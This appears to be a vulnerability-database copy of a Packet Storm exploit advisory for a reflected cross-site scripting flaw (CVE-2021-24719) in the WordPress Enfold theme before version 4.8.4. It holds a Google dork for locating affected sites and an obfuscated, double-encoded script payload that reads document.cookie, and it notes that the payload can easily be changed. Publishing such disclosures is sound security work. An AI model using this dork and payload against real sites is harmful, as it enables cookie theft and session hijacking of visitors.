Lucene search
K

WordPress Enfold Theme 4.8.3 Cross Site Scripting

🗓️ 19 Oct 2021 00:00:00Reported by Francisco Diaz-Pache AlonsoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 383 Views

WordPress Enfold Theme 4.8.3 Cross Site Scripting vulnerabilit

Related
Code
`# Exploit Title: WordPress Theme Enfold 4.8.3 - Reflected Cross-Site Scripting (XSS)  
# Google Dork: "inurl:avia-element-paging"  
# Date: 18/10/2021  
# Exploit Author: Francisco Díaz-Pache Alonso, Sergio Corral Cristo and David Álvarez Robles  
# Vendor Homepage: https://kriesi.at/  
# Version: Enfold < 4.8.4 (all versions)  
# Tested on: Ubuntu  
# CVE : CVE-2021-24719  
  
# Full disclosure and PoC on: https://blog.asturhackers.es/cross-site-scripting-xss-reflejado-en-tema-enfold-4-8-4-para-wordpress  
  
While navigating on WordPress sites with Enfold Theme previous than 4.8.4 version and Avia Page Builder, string “ProofOfConcept” can be reflected literally on pagination numbers. Moreover, the parameter “avia-element-paging” appears and can be used for crafting Google Dork based searches.  
  
https://[hostname]/[path]?ProofOfConcept --> This URL must include pages shown by Enfold theme  
  
Changing the “ProofOfConcept” text with a Cross-Site-Scripting (XSS) payload, the page processes and executes it. This is a reflected Cross-Site-Scripting (XSS) vulnerability. Find the following URL that includes the malicious payload.  
  
https://[hostname]/[path]/?%2527%253E%253Cscript%253Eeval%2528atob%2528%2522Y29uc29sZS5sb2coZG9j --> This URL must include pages shown by Enfold theme  
  
Payload (double encoded): this payload is double encoded in the URL from:  
'><script>eval(atob("Y29uc29sZS5sb2coZG9jdW1lbnQuY29va2llKQ=="))</script>  
  
Payload (base64): the “atob” payload is Base64 encoded from:  
console.log(document.cookie)  
  
Navigating to the crafted URL, the console log displays some cookies that are used by the affected site (i.e. cookies with no “HttpOnly” flag set). However, the payload can be easily configurable.  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation